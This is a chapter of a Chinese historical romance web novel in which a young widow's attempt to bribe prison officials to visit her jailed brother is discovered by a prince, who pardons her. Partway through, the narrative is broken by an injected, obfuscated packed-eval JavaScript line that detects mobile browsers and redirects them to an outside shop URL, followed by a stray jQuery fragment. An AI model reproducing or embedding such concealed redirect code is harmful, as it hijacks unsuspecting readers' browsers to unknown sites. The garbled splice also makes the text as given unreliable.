三日后便是许清砚生辰,许昭宁与嫂子张惠一心想见他一面,瞧瞧他近况。
十余日未曾踏出院门的许昭宁,念及兄长生辰将近,当即动身去找张惠商议。
姑嫂二人一合计,想法一致,想着已是近两月未曾相见人,如果能花钱打点,求得一见,她们也是愿意的。
此前为让许清砚在刑部大牢少受苦楚,一直是方晏与一位罗姓刑部官员接洽,平日打点银两,也是她们差人送去给罗官员。
二人当即打定主意,设法花钱通融。
商议妥当,许昭宁便带着银票前往刑部。她寻到那位罗大人,说明来意,却被对方一口回绝。
许昭宁并未强求,她和嫂子张惠商量时也都说了,这事行就行,不行也不勉强,转身就打算走了。
谁知刚走出几步路,另一位身着官服模样的人忽然叫住她,称有办法让她与兄长相见,只是价银要比给罗大人的高出一倍。
许昭宁想也不想便应下了,她实在太挂念兄长了,她实在太想知道,兄长在牢中是否安好,有没有受冻挨饿。
此人名为卢文正,原是刑部清吏司员外郎,只因多年前嗜赌成性,犯下过错,被贬为司狱司司狱,专管刑部大牢囚犯。
昨夜他又赌输了一大笔钱,正愁眉苦脸无处填补亏空,便撞见许昭宁低声下气求见牢中之人,一眼便瞧出她是弱女子心软可欺,又仗着自己掌管狱政,便想趁机捞一笔黑心钱。
他与许昭宁约定,今夜在金玉楼相见。
卢文正选在金玉楼这般高档地方,一来是想趁机吃顿好的,二来也是怕夫人盯得紧,他夫人素来防他如防贼,若是去那些小酒肆,早被抓了十回八回,断断藏不住。
他一路往雅间去,鬼鬼祟祟的做派,就是生怕被夫人察觉踪迹。
他本打算收了钱、吃顿饭,第二日便寻个空子让她见一见兄长便罢。
谁知刚进雅间,椅子还未坐热,门外便传来急促的叩门声。
卢文正第一反应便是夫人追来了,吓得魂都飞了,慌忙躲到屏风之后。又觉得留许昭宁一人在外面不妥,忙低声招手让她一同躲进来,只谎称是仇家找上门。
“出来。”
屏风外一声冷喝,听的他打了一冷战,可一听那不是夫人声音,卢文正又稍稍松了口气。
可一踏出屏风,看清来人面后容,他只觉得天都塌了。
他不知道自己得罪了谁,也不知道对方对他到底有多大的恨意,才把自己这点勾当,捅到晋王面前,引得他本人亲自前来问罪。
“殿下!卑职罪该万死!”
卢文正“扑通”一声跪倒在地。
朱承璟咬牙:“说!你在这处做什么!”
卢文正慌忙抱住他大腿,颤声求饶:“殿下,卑职……卑职做出这等龌龊事,天理难容,求殿下饶卑职一命!”
朱承璟一脚将他踹开:“本王问你,在此做什么!”
卢文正不敢隐瞒,一五一十尽数招了。
小半晌后,朱承璟眸色沉沉:“就这些?”
“殿下,卑职绝不敢欺瞒!”卢文正吓得语无伦次,“我、我...…”
“滚。”朱承璟冷声喝道。
卢文正本以为今日不死也得脱层皮,没料到晋王竟真的放他走。他生怕对方反悔,连滚带爬,脚底抹油一般仓皇逃去。
屋内瞬间安静下来,朱承璟目光落在那道屏风上:“里面那位,还不出来?是打算在里面过年吗?“
许昭宁并非聋聩,屏风那头刚一响起那人声线,她便已辨出是朱承璟。
这京师城里,谁人不知,谁人不晓,求官差办事少不得要使银子,好事歹事、大事小事,一概如此。她也不过同千千万万寻常百姓一般,只想花些钱银,图个省事方便罢了。
可她万万没料到,这般隐秘之事,竟会被人撞破。
她自幼安分守己,规规矩矩活了十九个年头,头一回做这触犯律法的勾当,便被当场抓了现行。
并非她不肯出来,只是方才卢文正将事情和盘托出,又认出朱承璟的声音那一刻,她的魂已经吓出了十万八千里去了。
朱承璟抬手,又敲了敲屏风:“快点。”
许昭宁手脚止不住地发颤,心头一片冰凉,想着这次自己也要进牢子了。
她慌乱间不知怎的碰倒了屏风,只听“轰”的一声巨响,屏风轰然倒地。
许昭宁一心只想认罪,刚要屈膝跪下,却因太过紧张脚下一软,整个人往前踉跄着便要跌去。朱承璟几乎是下意识伸手,稳稳将她接住。
人倒入他怀里的一瞬,那股熟悉的幽香向他袭来,仍是那道难以名状的清芬,只是此刻人近在咫尺、软香入怀,那气息便愈发清晰,丝丝缕缕缠上心头。
许昭宁慌忙站稳,垂首颤声道:“殿下,臣妇罪该万死,藐视王法,甘愿受罚。此事全是臣妇一人私心作祟,与兄长毫无干系,求殿下明察。”
屏风倒下时,她尚且只是神色惊惶,可这番话说完,眼眶却不自觉红了,水汽漫上睫羽,仿佛下一刻便要落泪。
那双湿漉漉的眸子,隐忍又楚楚可怜,落在朱承璟眼里,竟叫他心头莫名一痒,似有一根细羽,轻轻挠在心尖上。
朱承璟朝许昭宁上前一步,问:“你兄长生辰要到了?”
许昭宁低低应了一声:“嗯。”
“国有国法,家有家规。”他语气平静,却自带威严,“若人人都如你这般,为一己私欲藐视王法,朝廷纲纪何在?”
许昭宁心头一沉,只觉错上加错,更是惶恐自己连累了兄长。她垂着眼睫,声音微哑:“殿下,臣妇甘愿领罚。”
朱承璟望着她紧绷的脸,片刻才缓缓道:“不过,本王念你是初犯,此番便既往不咎。”
这话入耳,许昭宁如蒙大赦,几乎不敢相信自己的耳朵:“真、真的吗?臣妇……谢殿下恩典!”
朱承璟:“本王向来说话算话。”
想到不用进牢子了,许昭宁连连道谢:“多谢殿下宽宏大量,臣妇日后必定恪守本分,再不敢做触犯王法之事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539552|202231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
听着她一句接一句的谢恩,朱承璟心底却无端想起一些事。
表弟既对她这般上心,为何不肯顺手替她兄长办妥此事?
她既那般信赖表弟,又为何不去求助,反倒要大费周章,铤而走险去求旁人?
想到这些,他不自觉扯了扯嘴角。
不过,这些事与他又何关呢?
在她那张如玉般的脸庞上看了一会儿后,朱承璟又后退了一步:“既如此,此事便作罢了。”
许昭宁再次轻声道谢:“多谢殿下。”
言毕,躬身退了出去。
待胡小文进来时,只见殿下负手立在窗前,目光遥遥投向楼下。
那眼神似藏柔情,又似隐忍……
胡小文轻叩房门,低声禀道:“殿下……李大人还在外等候。”
“我这就过去。”
朱承璟这才缓缓收回目光,迈步离开了雅间。
胡小文心下好奇,也走到窗边探头望去,揉了好几回眼睛才确认——楼下立着的,分明是陈敬将军的遗孀,陈夫人。
殿下……竟是在看陈夫人?
殿下看陈夫人作甚?
胡小文脑中骤然清明,似乎想通了几分关节,可哪里还敢细想,慌忙擦了擦额角冷汗,抬手轻轻将窗户合上。
朱承璟回到雅间后,问李贺:“刑部近来,可是有一桩东珠失窃案?”
李贺回道:“回殿下,两月前有属国进贡一批东珠,宫中本欲制成首饰分赠后宫,便交由宫外一间首饰铺打造,掌柜的好像名唤许清砚。谁知尚未动工,东珠便失窃,许清砚因此被拿下,此刻正关在刑部大牢。”
“殿下怎会突然问起此案?”
朱承璟淡淡道:“许清砚,是陈敬的大舅哥。”
李贺惊道:“竟有这层关系?”
朱承璟:“你既在刑部任职,明日回去查一查,此案究竟是何内情。”
李贺:“属下明白,这案子由刘大人经手,属下明日便去问个清楚。”
与李贺在金玉楼分别后,朱承璟便起驾回府。
夜间,胡小文正小心翼翼为朱承璟换药:“殿下,自今日起,奴婢为你换用新药,若是有半分不适,你千万告知奴婢。”
朱承璟望着窗外沉沉夜色,忽然开口:“三日后,你去一趟刑部大牢。”
胡小文手上动作一停,抬眼问道:“殿下,是要向李大人传话,还是有别的吩咐?”
“陈敬的大舅哥,三日后生辰。”朱承璟语气平静无波,听不出半分异样,“你亲自送一碗长寿面进去。”
胡小文:“是,奴婢记下了。”
胡小文连忙应声,可心头却疑云翻涌,半晌才勉强回过神。他隐约记得陈夫人确有一位兄长牵涉进案子,被关在狱中,可其中详情,他却是半点不知。
待替朱承璟包扎妥当,躬身退至外间,胡小文一刻也不敢耽搁,连忙四处打探消息。
辗转问了数人,最后还是托人往郡主府细细打听,才终于将前因后果弄得一清二楚。